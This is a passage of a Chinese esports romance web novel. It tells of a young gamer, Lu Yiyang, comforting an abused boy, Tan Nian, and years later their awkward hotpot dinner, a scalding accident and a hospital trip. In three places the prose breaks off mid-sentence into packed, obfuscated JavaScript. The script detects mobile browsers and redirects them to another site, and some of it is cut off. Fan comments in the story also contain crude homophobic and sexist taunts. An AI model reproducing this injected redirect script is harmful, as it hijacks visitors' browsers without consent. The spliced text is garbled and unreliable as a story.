“五块。”小破孩儿一边要跟人要打火机,一边还要做其他的生意,拿着找钱的时候都一直抬头在看打火机顾客,他就要走了,他刚要追出去买白沙的客人就喊,“你倒是先给我找钱啊!” 小破孩儿刚找完钱,听见声音的妇女来了,“吵死了,叫你看个店一会儿都不消停!” 接着她一摔孩子,过来把百元大钞放进自己包里。 一摸,手感不对,客人已经走了。 一巴掌就落在小破孩脸上,“这么假的钱你都能收回来?你这个猪脑子!” 一推搡,小破孩没站稳。 他站起来,老老实实的面壁,似乎不是第一次。 小破孩站在角落让人训得一直掉眼泪,“我真是欠你的!欠你的!店里的钱一直少,是不是你偷的!” 忽有一双手拢住了小破孩,坐在门窗外吃雪糕的少年付了两根雪糕的钱,“不怪你。” 小破孩没忍住,要哭了。 “那俩人一块的,”少年对着老妇人说,“你扭个弯都能看见他俩一个车走了,这故意来找小孩儿下套。” “你又是什么东西,倒不是你赔,你是站着说话不腰疼。”那妇人还在咄咄逼人,就要来拧小破孩儿的耳朵。 少年的手捂住了小孩儿,“那你也不能打孩子啊,这么热你连个风扇都没给,是不是你亲生的?” “我亲生的有这么蠢?”妇人不耐烦,“你要买买,不买出去!” 少年摸了摸小破孩的头,蹲下来抹了一把他的眼泪,低声到只有两个人能听见,“别哭了乖乖,当狗叫汪汪汪。” 少年走了。 小破孩追了出来。 小破孩没追上他,他骑的摩托车实在太快了,消失在树影斑驳鼓山路的尽头,小破孩儿出了一身的汗,鞋子小了,卡得脚痛。 约是五日还是一周,小破孩重新看见了那辆摩托车,在一个网吧门口。 他想进去,未成年人不让进,刚推门吧台的网管就赶人。 小破孩捡了个地上的烟盒,“我来给客人送烟的!” “送完赶紧走!” 小破孩穿行在乌烟瘴气的网吧里,一楼挨个找都没找到,接着是二楼,二楼禁烟,还没看见人,就听见有人很不服气地说,“我说陆意扬,你一个职业的就别来虐菜了行吗?” 有人在笑,谈年顺着他的声音看过去—— 陆意扬。 他叫陆意扬。 这是谈年第一次知道他的名字。 陆意扬屈膝坐在高大的棕色沙发里,他把手上的戒指都摘了放在桌面,跟人对战的游戏谈年也会,他经常不想回二伯母的家,会跟同学们一起溜出去玩。 他打得还不错的,在同学里算是很厉害。 谈年走得近了,一步一步,走至陆意扬身边。 网管上来添茶,看见了就要驱逐。 嫌耳机脏的陆意扬在耳机与耳朵之间夹着一张纸巾,只挂了半边,听到声音转过来。 但是他显然没有认出来这是谁,“谁家孩子来网吧了,找谁啊?” “.....你。”谈年怯怯地说。 “我?”陆意扬摸了下被耳机压塌的头发,眼神清亮,“什么事儿啊?” 谈年没有事,他就是想找他。 谈年愣愣地盯着电脑屏幕,然后又转过来看着陆意扬,网管还要驱逐小孩儿,小孩儿不太乐意,站得不肯走。 “等会儿我送他出去。”陆意扬打发了网管。 “想起来了,”陆意扬的手肘撑着沙发,“前几天受委屈那个是不?长得好看是好啊,这我都能记得住。” 接着陆意扬把人弄过来坐腿上,问,“又被骂了?” “没。” 谈年在他身上闻到清爽的香味,他酷爱打扮,穿着白色的T,他似乎对车的元素很喜欢,钥匙跟钱包扔在桌子上,手机桌面也是这些,他的戒指跟手链显得他的手格外白。 十八岁的陆意扬个子已经很高了,坐在窗户的位置,阳光撒下来给他的睫毛跟头发都镀上了层金,他玩得是中单,那个叫流悲公爵的英雄现在被削了又削,已经上不了场了。 对面的人似乎又被杀急了,陆意扬在谈年耳边说,“嘿嘿,对面那小子又要输给我网费了。” “我也会这个。”谈年说。 “是吗。”陆意扬口气里透着哄小孩儿的劲儿,然后跟对面的小胖子说,“我这小孩儿说他也会,你不行跟他打吧。” “你看不起谁,”对面小胖子说,“不过话说回来,苟富贵,勿相忘啊兄弟!” “这东西没准。”陆意扬说。 “怎么没准,最起码得拿个星赛亚军吧?”胖子说,“网吧老板可跟我说了。” 说着话呢,老板上来了,见陆意扬抱着个孩子,“哪偷的?赶紧还回去,一会儿他家长给我这炸了。” 谈年闻言拽住了陆意扬的手指。 “我知道哪家的,一会儿我送回去,”陆意扬捋着谈年的头发,“吓唬孩子干嘛呀。” 隔壁的卡座上的人玩游戏急了,正在说脏话,陆意扬遮住了谈年的耳朵,嫌弃地看了他们一眼。 “诶,下周五,我这湖人网吧的网吧争霸赛,”老板太热了,穿着个背心,背上还有很大的文身,“网吧十周年,你懂我这奖金含金量吧?” “你找他来我们不都没戏了吗!”胖子哀嚎。 “重在参与嘛!”老板拍拍陆意扬的肩膀,“到时候来啊。” “行啊。” 这会儿陆意扬又开了一把,似乎是抱着个半大小子不方便,他下巴都磕在谈年的肩膀上了,他边打边跟谈年聊天,“你们学校的同学也玩这个?” “嗯。” “你也会啊?” “嗯。” “你都喜欢玩什么英雄啊。” 谈年指着几个玩家头像。 “你们未成年有账号啊?” “同学哥哥,还有同学爸爸都有。” “哦,那你们上网去哪里上啊?” “学校后面,有三个电脑。” “小黑网吧,是吧。” “嗯。” “别学坏了。” “嗯。” 很快,陆意扬就打完了,谈年看得云里雾里,跟他认识的WATA2似乎不是同一个游戏,他玩得特别秀,赢了的时候不好意思的摸了摸自己的鼻子,陆意扬的名字带着乱七八糟的符号,不太记得住。 “行了走吧。”陆意扬把人撂下来,“送你回去。” 陆意扬刚准备送孩子回去,手机就响了,他接着电话拢了一把谈年在身侧,“妈,我记着呢,来了来了,知道,知道,马上回来。” “我爸肯定给你买礼物去了呗,别上我这儿打听啊,我可不说,”陆意扬刚讲电话到这里,看了一眼身边的孩子,似是怕他想起些不好的,“好啦我先不说啦,晚点就回来。” “不用你送,我自己回去。”谈年刚到门口就飞也似地跑了。 陆意扬诶诶叫了好几声,孩子没回头。 谈年一天天的去,也没见到陆意扬,大部分时间坐在网吧的门槛上,他会偷偷溜进去一圈,上二楼找人,没人他就出来外面等。 直到网吧争霸赛那天。 湖人网吧的网吧争霸赛早早的就在门口搭了帐篷,放着不少电脑,参与就能抽奖,抽不着也能领网费。 门口帐篷里不少中年人都带着孩子来玩的,或者一些已经工作的男人难得叫上朋友,来个连坐,场面热火朝天,充网费的,赌网费的,要饮料的,要小吃的,嫌电脑卡顿的,不肯承认自己的菜的,通通混作一团。 中场游戏的娱乐赛谁都能上去玩,但是谈年实在太小了,他刚坐下旁边的人就来拉他,“哪来的小屁孩,滚蛋。” “排队吧你,”陆意扬按着谈年的肩膀,“玩你的。” “哎哟你可来了,”网吧老板今天忙得头脚倒悬,“solo赛都要开始了,就等你呢!”说罢便把陆意扬拉走了。 陆意扬的点将玩得极好,是去年的solo赛冠军,也是大区的冠军,谈年从一堆大屁股里钻进去,看得眼睛都没法挪开。 大人们都要凑近看,要把小孩儿往后面掰,正是加载进入游戏的界面,黑色的屏幕上倒影出后面的人,谈年正在被推出去。 “诶诶诶,”陆意扬把人拽过来,“你怎么在这?” “嚯,天天来等你,门槛都要被坐平了。”网管说。 后来,谈年记得陆意扬的那场solo是抱着他打的,他特紧张,动也不敢动,生怕影响陆意扬发挥。 陆意扬白皙的指节在键盘上飞舞,腕骨都是漂亮的弧度,谈年被他抱在怀里,感觉他好闻得跟他所有见过的人都不一样,谈年把注意力再集中到游戏上,又觉得为什么会有人打这个这么厉害。 “这个,怎么弄?” 陆意扬边打还能边跟他说:“这个啊,落地shift连Q就不会被打断。” “哦,这个呢?” “施法前摇把对面技能骗出来就秒s,你看。” 他想知道,多久能跟他打成一样的,所以他轻声问,“玩很久吗。” “一年多吧。”陆意扬一边跟他聊天一边操作,3 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864713|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' -0几分钟轻松拿下了比赛。 “我也想跟你打。”谈年说。 “你也想打?”陆意扬看孩子舍不得使劲坐他腿上,哄着说,“打呗。” 比赛结束,边上的人散去不少。 “我不让着你,给你戒网瘾,年纪这么小就来看比赛。”陆意扬点着他的脑袋说,“得好好读书啊你。” 安置在边上的电脑上,“打哭了我不管呢。” 果然,谈年被压得一个兵都吃不上,他瘪着嘴,明明他在学校里很厉害,他一起的同学就没有能打过他的,但是他被一个网吧的路人碾压得毛都剩不下一根。 “还打吗?”陆意扬笑盈盈地问。 “嗯。” 还是一样的结果,当年他们solo选的就是劣刀魔人,这个绝对公平的,完全靠操作的英雄,互相压炮,水平对比最明显。 谈年胸口憋了一大摊的酸意,连他自己都不知道看起来有点委屈了。 “还打吗?”陆意扬又问。 “嗯。” 不出意外,谈年在这一把特别想杀他一次,但是怎么也打不过,他有点瘪得眼睛红红的。 这是真被打哭了。 太碾压了。 网吧老板都没等他们打完,拉着要跟陆意扬合影,说他以后肯定要名动WATA2的。 听别人说他已经签约了战队,并且是打赢了多个竞争选手成为的首发。 老板说,这个破疫情太害人了,没线下,好多人都不知道他长什么样,要是知道了都得爬墙。 等陆意扬跟所有不服的人打完,都不知道过去了多久。 谈年还在门外的塑料椅子上等。 刚要走,就看见了谈年。 “怎么还没走啊?”陆意扬叼着根烟眯着眼睛问。 “马上走。” “怎么了,看起来要哭了。” “没有。” “输给我这么难受吗?” “没有。” 陆意扬自言自语,“我是不是在欺负小孩儿啊。” “我自己菜。” “输给哥不丢人,”陆意扬蹲下来,拢着小孩儿的后脖颈,轻声说,“我要去WPL啦。” “比赛?” “嗯,哥去治理WPL那帮废物。” “真的?” “还不信了。” “你什么时候去比赛?” “今年星赛。” “我会看你的比赛的。” “我送你回家吗?”陆意扬说。 “我走回去。” “算了吧,送你回去,不然我还得绕你那看看你到家没,”陆意扬拍拍他的肩膀,“等我一下。” 谈年站在网吧门口。 没一会儿看见陆意扬从路口骑过来一辆通体漆黑的摩托车,或许是他的油门声音太大,惹得好多人看,他拎着头盔停在谈年的面前,看了下孩子又跨下来把谈年从咯吱窝底下抱起放在摩托车上,他给谈年扣上了他自己的头盔,骑车的时候的他的下巴抵在谈年的肩膀,夏日的风带着沪宁的街景往后退,谈年在摩托车的后视镜里看不清楚十八岁的陆意扬。 他戴着黑色的摩托手套,能闻到他身上的味道,他的鼻息温热撒在他的颈窝,他整个人伏在谈年的背上,有点痒也有点热,但是他不敢动。 摩托车的轰鸣声有点大,等红绿灯的时候谈年想回头看,陆意扬伸过脑袋来问,“好玩吗?” “嗯。” “你这小孩儿长得漂亮,”陆意扬说,“就是脸有点臭。” “没。” “笑一个来。” 还没来得及笑,绿灯了,陆意扬继续往前开,谈年打开护目镜,他大声问,“你去比赛要拿冠军吗?” 风噪太大了,但是陆意扬提取了几个字就听懂了,也在风里回复他,“那肯定啊。” “我要是打好了,能不能跟你一起打比赛。” “什么?”陆意扬靠边停车,“想当我队友啊?” “嗯。”谈年一脸认真地点头。 “组个组合,叫逆蝶。” 陆意扬自己先笑起来,“这个组合是开玩笑的。” 谈年憋了憋嘴,察觉他失望的陆意扬揉了下他的头发,“但是我等你是真的,我等你当我的队友。” 他自言自语道,“我还说叫你不要被人带坏,怎么感觉我要把你带坏?” 他从钱包里掏出几张纸币,“别来等我了,自己买点玩具回家玩去。” 谈年不想要。 “就当是我提前请你看我的比赛,嗯,喝可乐,”陆意扬蹲在他面前说,“给我发弹幕。” “就发「哥哥太帅了」。”陆意扬笑得一脸痞气,揉了揉谈年的头发,“发一百遍,行吗?” “嗯。” “我看着你进去。”陆意扬跨在摩托车上,他低头掏出一只铜火机,咔哒一声打开,搓了两次砂轮才点着,他的指尖夹着烟,站在他十四岁的夏天。 谈年还没走进去,二伯母追了过来,不由分说就给了他一个耳光,“烂东西,死哪里去了!” 陆意扬放下头盔就跑过来,蹲下把谈年护在身后,“这位大妈,你说话就说话,你打孩子干什么?” “我又不是他爹妈我还给他饭吃,他爸妈都出国几年了都没回来,”二伯母愤愤不平,“我养他都不错了。” 陆意扬轻轻地念叨了一句去你吗的,然后牵着谈年的手,“吃口饭去。” 陆意扬带着他去吃饭,路过一个公园,看着他脸上有个印子,拢了下他的头发,“想哭就哭呗,半哭不哭的,真难看。” 谈年眼睛红红的。 陆意扬皱眉说,“你会不会哭啊,你嘴巴张开哭啊,要么我给你两拳,哭个痛快。” 他别扭着脸,半哭不哭。 “哎哟,”陆意扬揽着他在公园边看夕阳,摇摇晃晃的,“怎么办呢,我的小队友。” “网吧就能找到你吗?”谈年泪汪汪地看着他。 一辆大货车鸣笛驶过,谈年没听清。 谈年没有等到他的比赛。 他每一场大队伍小队伍都看了。 一年没有,两年没有,三年也没有。 陆意扬的非主流名字字符太杂乱,谈年一个大区一个大区找,一个字符一个字符试,solo榜单更新的速度非常快,掉出前五就无处可找。 他说他最喜欢打solo,谈年的solo已经打到了全服第一,从未等到过他来挑战。 他们相遇的湖人网吧,陆意扬跟老板打了招呼,他在那剩下的网费可以当餐食,也让他在仓库那小孩儿玩的电脑那玩玩,算他的账,但是不能让他玩太久。 老板说,这些网费都是网吧里的人找陆意扬打输给他的钱,谈年花了很久。 网吧收银台上本来挂着那次网吧友谊赛的照片,陆意扬在最中间,后来那照片就撤了。 再后来,网吧也没了。 谈年的车停的有点远。 陆意扬骑着自行车从校门口的闸机出来。 风把他的衣服鼓出形状,夕阳在他身后落下。 谈年在他直播时只言片语中还原了他的手伤。 他没有等到队友。 他只等回来了一个与比赛彻底无缘的陆意扬。 32.我找机会 【6老板:今夜是否有缘?】 【N:最近有事。】 【6老板:好可惜。】 【N:报名之前分肯定会够。】 【6老板:我涨粉啦!】 【N:应该的。】 【6老板:刷礼物花了你好多钱,你什么时候来沪宁玩,我请你吃饭。】 【N:我找机会吧。】 陆意扬今晚想跟小粉丝一起看晚上的比赛来着。 陆意扬发完消息,似有点愣神地往马路对面看了一眼。 踩上单车就往家里去,路上路过便利店,买了包烟,买了个盒饭,又要了一串鱼丸。 他坐在便利店门口,把老太太的钱转过去。 然后又往老太太的备用金里存了一点儿,剩下的当自己的花销。 下午五点多,有老人在学生街尽头卖水果。 从学生街出去不远还有个菜市场。 他叼着鱼丸回了家,将包一扔就躺在沙发上看手机。 真是够了啊,这些人就没有自己的生活吗? 而且陆意扬感觉自己真是倒霉,怎么线上线下就跟他混在一起呢? 【很遗憾以这种方式认识你,绿羊羊。】 【羊村没通网吗,怎么绿羊羊还没有出来上蹿下跳?】 【比沸羊羊还悲剧的一款男主。】 【坏消息,zonke是gay,好消息,你被绿了。】 【分享一波高质量绿帽头像&[图片]】 【给孩子一个绿包吧[图片]】 图片上是玩家打赏在羊崽直播间的礼物。 【随一个绿包。[图片]】 图片上的礼物特效都是绿的。 接着就是满屏的绿色爱心,绿色植物,绿色图标。 看得陆意扬有点养眼了。 送了礼物,正常来说陆意扬应该上节目,保护一下嫂子。 虽然他现在被跟zonke一起玩游戏还直播的事儿弄得有点心神不宁,但还是发了一条。 【羊崽:什喵?人家才解决完女的怎么还有男的?你快点把他删了跟我好@PAX-zonke】 他发完消息正在看赛程表,今晚的比赛,PAX在第一场,打的队伍积分倒一的PIK,陆意扬觉得爆冷的可能性很低。 从次级联赛上来的队伍在春季赛一轮游然后打保级赛继续回来春季赛垫底这样的情节很多,也很正常,蹉跎几年,年纪大了就可以退役了。 比赛已经开始了,陆意扬戴着耳机听着屏幕里的解说分析了一波两边选人,感觉含金量也不是很高,就撇下耳机自己看。 PAX太快了,前期的节奏由小五打开,四级辅助游走带完上路又带下路,敌方的塔下野区都被骚扰得不太安宁。 五分钟,zonke单杀中路。 十二分钟,上路爆发对抗,PAX1换3。 十七分钟,zonke造成三杀。 十九分钟,对方被团灭。 二十一分钟,取得比赛胜利。 整场比赛总体质量不高,陆意扬看得意兴阑珊,漫无目的软件就看见了... 【娇羊羊必0,有点后悔投了羊上。】 【也是看见什么叫蜜里调毒了。】 【这是评论区,不是大床房OK?】 【zonke到底是不是直的?】 【|zonke|】 【确实绝对直。】 【zonke可能在玩狗,但是羊崽肯定是弯的。】 【来人,给羊崽赐月经!】 【给羊崽科普一下卫生巾的用法:将卫生巾上的纸片撕掉后,将没有胶带的一面放置在内裤上,胶带部位与毛发相贴,多拍打更牢固。】 一帮傻逼。 陆意扬冷嗤一声,哥们这个性取向比江直树还直。 刚打算随便对付一点的陆意扬手机上有人约他吃饭。 【1珂小白菜:我跟K妹在附近约饭,吃火锅,来呀小六老师!】 紧接着K妹拉了个群,名叫「干饭小分队」: 【Kate喵喵:快过来吧小六老师!位置分享:[群姐重庆小板凳火锅]】 【珂珂:我们想多点点但是吃不完,找人A呢。】 【Kate喵喵:小六老师会吃辣的吗?】 【1珂小白菜:不知道啊我俩只在公司吃过盒饭。】 陆意扬早就想吃火锅了,但是他就自己,也没什么人能组局去吃,出去打工的时候大家也不太熟悉,都得AA,他也不意思点自己想吃的菜。 收到消息之后查看定位骑自行车才7分钟,反正自己去请客,还能随便吃,马上就回复道:【我来了。】 【Kate喵喵:路上小心。】 【1珂小白菜:你要吃什么先给你点上吗?】 陆意扬抓了两把头发就出门了,他今天就吃了一串鱼丸,还有点焦了,盒饭他放在冰箱里真是吃腻了。 重庆的小板凳火锅在晚上八点多正值闹市,陆意扬推门进去,两个女孩儿已经坐在竹凳子上点了一堆东西了。 K妹招手,陆意扬也过去坐下了。 “小六老师好啊,”K妹说,“你还有什么要吃的,再点呗。” “行啊。”陆意扬扫了个码,先把单给买了。 这俩女孩儿与他非亲非故的,但是人都很好。 “我点的奶茶到了。”珂珂斜穿个围裙,坐在最里面,“小六老师帮我接一下。” “嗯,我来。” “那杯草莓的是妙妙的,抹茶是我的,小六老师爱喝的柠檬水。”珂珂手上还在剥虾,“帮我弄下吸管。” “妙妙,难怪叫喵喵呢。”陆意扬给女生分完奶茶,开始下肉卷。 “你没看你哥比赛吗?”珂珂问。 “不看,我又不追PAX,我追模子队的。”妙妙说。 “模子队?”陆意扬恍然大悟,“啊,是不是PIK啊。” “嗯呢,他们之前那个打野不是被爆了跟榜一榜二一块儿谈吗,”妙妙戳着筷子说眯起眼睛,一脸那小样儿的神色,“我一看他就那种花心野王,我喜欢他们那个辅助,炸毛小辣椒,可爱死了。” “那个辅助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“诶对了,小六老师你住这儿是还上学吗?”妙妙问。 “嗯,上学,前年休学过,又回来了。”陆意扬说,“别叫小六老师了,听着有点儿别扭。” “我觉得还行。”妙妙说,“对了,你今天涨粉了吧?年总就是嘴臭,人挺好的。” “小六老师还是zonke的粉丝呢,那天要签名来着。”珂珂撞了一下陆意扬,“也是追星成功了。” “给朋友要的。”陆意扬说。 三人虽说第一回吃饭,但是都是碎嘴子,什么都能聊。 火锅过一半,妙妙的手机又响了,她没好气地接起来,“又干嘛!” “什么?”妙妙压低了声音,“你们都谁啊,我们在大堂吃的。” 陆意扬有点儿不太好的预感,他的眼角抽了一下筋。 五分钟之后,8人端坐在了包厢里。 刚刚欢快休闲八卦的气氛一扫而光。 33.打个直球 “今天阿姨让我们自己解决。”K哥说,“不好意思小六老师,有人想吃火锅,就顺便来找我妹妹了。” 一个包厢里坐了八个人,有点挤。 “没事,我也吃得差不多了要不...”陆意扬有要走的意思。 “刚刚的账是你结的吗小六老师,我A给你啊。”妙妙看着手机说,“这怎么好意思的,我们俩都开吃了才叫你来,我们真的找你来A钱的。” “你这...”K哥低声呵斥,“你没钱跟我说。” “那你给我呀!”妙妙道。 “应该的,”陆意扬说,“那你们...”吃? “我们刚来就要走啊,”小5疑惑地看了一眼陆意扬,又看了看珂珂,又看了看K妹,“干嘛呀...” “没有,”陆意扬又坐正了,“今天谢谢你们带我上分。” 大家都在客套,只有zonke在对面低头玩手机,看也没看他。 换成了鸳鸯汤的锅底,菜一摞摞地叠着。 “不是你要吃吗?怎么不动筷子?”K哥对着边上的谈年说。 “汤没开。”他淡淡道。 跑这么老远来吃火锅? 陆意扬看了看这个人均消费不到100的火锅店,不由地思考这个环境跟他们的身价匹配吗? “今天我跟珂珂去逛街了,买了好多衣服,还看了电影,吃了火锅。”妙妙摸着自己的肚子,也不注意形象,“我今天真是收获满满。” “开了,快下肉,”小5站起来下东西,“小六老师,你帮我下,下这个菌汤锅。” “你自己不会下?”谈年开口。 刚拿着肉要下的陆意扬有点尴尬,眨了几下眼睛,小5还要来接,陆意扬说,“我来吧。” “还有要吃什么的?”陆意扬问。 “我们自己来。”K哥打了坐没坐相的妙妙一下,“像什么样子。” “干嘛呀,这儿又没我在乎的人,”妙妙拽了下珂珂的椅子,“珂珂,你还吃什么了。” “我吃饱了。”珂珂说,“那让他们吃吧,咱俩逛会儿夜市去,摊摆出来了你看!” “行,”妙妙起来了,“让一下,我们女士要去玩了。” 要是二选一的话,陆意扬有点想跟两个女生去逛夜市,画美甲都行。 陆意扬尬得抠手指。 突然。 “你喝什么?”zonke抬头问。 “我,我喝过了,柠檬水。”陆意扬摆摆手,“不用了。” 这包间的通风很一般,现在的热气都往陆意扬的脸上扑,有点烦。 而且这店很破烂,他的大腿都能碰到锅底的那块三合板,热得很。 PAX除了K哥跟小5之外也没健谈的人,B哥线下有点装高冷。 吕飞星一脑子只有吃。 剩下个谈年,女孩儿出去之后离陆意扬只有两个位置,戴着一顶鸭舌帽,也看不出来什么神色。 K哥跟小5聊的都是一些游戏版本,还有一些bug问题。 陆意扬第三次摸自己有点被热气烫到的大腿的时候终于忍不了了,“我去个卫生间。” 这个狭窄的包房要右边的两个人给他让位置才能走出去,他又不像姑娘家的娇小。 他们二人同时收了自己的椅子,陆意扬走了出去。 他在外面抽了一根烟,揉了好几下大腿。 等再回来的时候,小5说,“小六老师,你这个位置坐得这么难受怎么不说?” 然后拍拍中间,“坐这儿。” 推脱也不合适,只能坐下了。 他身上带着淡淡的烟草味道,让鸭舌帽下面的人轻轻地皱了下鼻子。 “不好意思,”陆意扬说,“要不...” 谈年往后靠,把筷子放下,转过头来看陆意扬,破烂包厢的通风扇吹得天花板上的灯有点儿摇晃,鸭舌帽帽檐的阴影遮住他的眼睛,陆意扬看不清他的眼神,可能是火锅的雾气太大了。 他很快错过眼神去,拿起筷子愣了一下,什么也没说。 小5还在跟K哥聊今天的比赛,其实今天的比赛他们赢得很快,但是感觉到对面的阵容似乎可以学习,就有一句没一句地说。 “吃饱了吗?吃饱了要回去了。”K哥起身说。 终于要结束这场尴尬的饭局了,陆意扬在谈年的身边坐得那叫一个僵直。 “要送小六老师吗?”小5问。 “我自己可以回去。”陆意扬说。 陆意扬越过小5拿包,“那我先撤了。” 陆意扬对着桌上各位点头,与谈年礼貌点头就出去了。 他推开门出来,刚松了口气,就看见夜市的小板凳火锅比刚刚更热闹了,一个小孩儿从转角捧着西瓜跑得飞快,但是面前就是端着火锅汤底的服务员! 陆意扬一个箭步拽住了小孩儿的后脖颈往身后一拉,但是滚烫的锅底还是要撒出来,服务员脚下一个不稳,热汤就往陆意扬的身上溅来! 有人惊呼,包间有人冲了出来,陆意扬手臂被烫出一道刺痛,还没反应过来就听见有人蹲在他边上问,“你还好吗。” 人群围了上来,陆意扬怀里的小孩儿也被烫到一点,此刻哇哇大哭,陆意扬生怕路人认出他们来给他们添麻烦,说,“没事没事,不疼,你们先走吧。” “把外套脱了,看看手上有事吗?”身边的人问。 陆意扬还蹲在地上,眼睛里溅进来一滴热油,这会儿眼睛都睁不开,泪光朦胧,“没没没,你先走吧,你们先走。” “起来,去冲一下眼睛。”谈年道。 “也...也还好,没...” 路人都说这孩子撞了人,服务员跟路过的帅哥都被烫了,小孩儿的父母生怕要赔钱,立马大喊,“服务员都不看路关我家孩子什么事!你可别想讹我们!”接着把孩子护在身后。 “K哥,报警,”身边的少年紧紧抓着陆意扬的手腕,咄声质问,“讹你们是吗?他受一点伤你负得了责是吗?” 这里的年轻人很多,似乎有人拿手机拍照,窃窃私语的人更多,K哥跟小5都在身边。 K哥已经在报警。 小5在老板要监控。 他把陆意扬扶起来,B哥抛过来一串钥匙。 陆意扬看着还要穿越人群去卫生间洗就不想去了,“...我出去冲....” 陆意扬这会儿眼睛红得要命,睁不开一点点,眼泪一直都在流。 谈年拉着他的手腕往外走。 “台阶。” 接着,他不由分说开了车门,陆意扬有点没招,他手上也都是辣的,他连想擦一下眼睛都不行。 外套上都是火锅油,他怕弄脏人家的车。 谈年沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880957|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过外套扔在后座。 拿了两瓶矿泉水站在副驾的门口,陆意扬感觉眼睛都重影了,想去摸矿泉水,摸到了谈年的手上,凉丝丝的,他又飞快地缩回了手,谈年沉默地给他冲水,又拿来纸巾泡了水来给他擦眼睛。 他用打湿的纸巾敷在眼睛上好几下,才勉强缓神过来。 “谢谢。”陆意扬哑声说。 “好点了吗?”谈年坐上驾驶室,导航了附近的医院,甚至也没问陆意扬的意思。 “弄脏了,那个洗车的钱我转...”陆意扬说。 “别管了。”他淡淡说。 这儿离医院也不是很远,拐一条街就到了。 车停下了,急诊都是挂水的人,挤来挤去。 陆意扬的眼睛还不是很舒服,手上传来被烫后的痒意。 脖子上也被溅到,他一扣都是干了的牛油。 谈年去夜间急诊挂了个号,看了一下厕所的位置,就带着陆意扬来洗。 急诊楼有点老旧,厕所用的人很多,味道有点儿大,洗手的人来来往往,陆意扬不想占着唯有的一个洗手池,说,“我擦擦就好了。” 他擦了好几下,也没把脖子后面的牛油擦完。 谈年手上还是拿着那包纸,沾湿了之后轻轻的放在他发烫的后脖颈上。 不知道是不是指甲划到了,还是忽然炙热的地方被降温,陆意扬不自觉地瑟缩了一下脖子。 所幸他穿着外套,手臂也就发红了一片,在陆意扬感觉,来医院都有点小题大做。 “疼吗?”他问。 陆意扬在昏暗的厕所里更是看不清帽檐下的他的眼睛。 “还好。” “我擦好了。” 接着就是在急诊室的门口排队,陆意扬坐在铁皮椅子上。 “你坐一下,我去那边排队。”他说。 他白色的卫衣上被陆意扬蹭了星星点点的牛油,低着头也不玩手机,只是在问诊处的门口跟人排队,前面的老头咳嗽得很厉害,他忽然回头。 陆意扬还是看不清楚,但是不敢对上他的目光。 刚刚降温下来的后颈这会儿又开始发烫,他想伸手摸一摸。 “别碰。”他分明在陆意扬的三米之外,但是为什么在这么吵闹的环境里陆意扬精准地听见了他的声音。 陆意扬舔了下嘴唇,也放下了手。 他也不能玩手机,只能傻愣愣地看着周围的人。 然后听见了一声,“过来。” 陆意扬走了过去,医生查看了他的眼睛,开了单子去拿眼药水跟一些药膏。 “你这眼睛要是明天起来还是模糊,你就再来一次。”医生道。 陆意扬说,“你走吧,那个,队伍的人是不是还在等你?” 他没有回陆意扬的话,打了个电话。 “道歉了吗?” “没什么事。” “检查费,医药费要他们出。” 他挂了电话之后。 “你别忙我的事了,就,”陆意扬不太想跟他产生更多的交集,“没,没几个钱,太麻烦你了,别管了。” 谈年将药袋递给陆意扬,抬起头来,但是鸭舌帽依然看不见他的眼神,只听到他说,“.......如果,我不觉得麻烦....” 什么? 陆意扬感觉自己的耳朵出问题了。 34.偷自行车 一上车就一股子火锅味。 他发动了车,看方向,是送陆意扬回家。 但是...他怎么去我家都不要导航的?这拐来拐去的,也没路灯,这能记住? “明天要是眼睛不舒服,还要再去一次医院。”谈年说。 “哦。”陆意扬低着头应,刚刚涂了药膏,又怕碰到这车座,医生说伤口裸露好得快,所以没有缠纱布。 这使得陆意扬坐得很艰难,靠都没法靠。 陆意扬感觉他刚刚说话有点奇怪,“就...你管我的事情我不太....” “俱乐部本来就配了顾问。”他解释了一下,“就,说一下就好。” 要这么小题大做吗?就,很奇怪。 感觉药膏要流下来了,伸手想把药弄掉。 司机从右侧后视镜打量了他一眼就靠边停车。 谈年将抽出软纸巾,将刚刚已经热了药从他的后脖颈擦掉,又从塑料袋里重新挤了药膏,陆意扬坐得绷直,还好他这次的手没有摸到陆意扬。 “你自己看不见。”他垂着眸子,轻轻在陆意扬的后脖颈上吹了一口气,更痒了,痒得陆意扬都想夹腿。 然后冰凉的药膏又重新覆盖上来,他忍不住又缩了一下。 陆意扬也不知道在害怕什么,我特么我一个大男人。 但是他的身体已经靠近车门,都贴上了,害怕边上的人还要有什么动作,活像电视剧里害怕性骚扰的小白兔大学生。 他将药膏拧紧,车内始终只有一盏柔和的车内灯,白皙的手关节陆意扬总觉得在哪里见过。 他重新发动了车往前走。 车里好安静啊。 要不要说两句啊。 “你衣服也弄脏了。”陆意扬说。 “我赔你一件吧。”陆意扬的手绞在一起,刚说完又感觉我这说的,真打算赔谁会说出来? 果不其然,“不用。” 但是一秒之后,“喔....是弄脏了。” ? 他的反应也太奇怪了。 “那我把钱扫给你,我大概知道这衣服多少钱。” 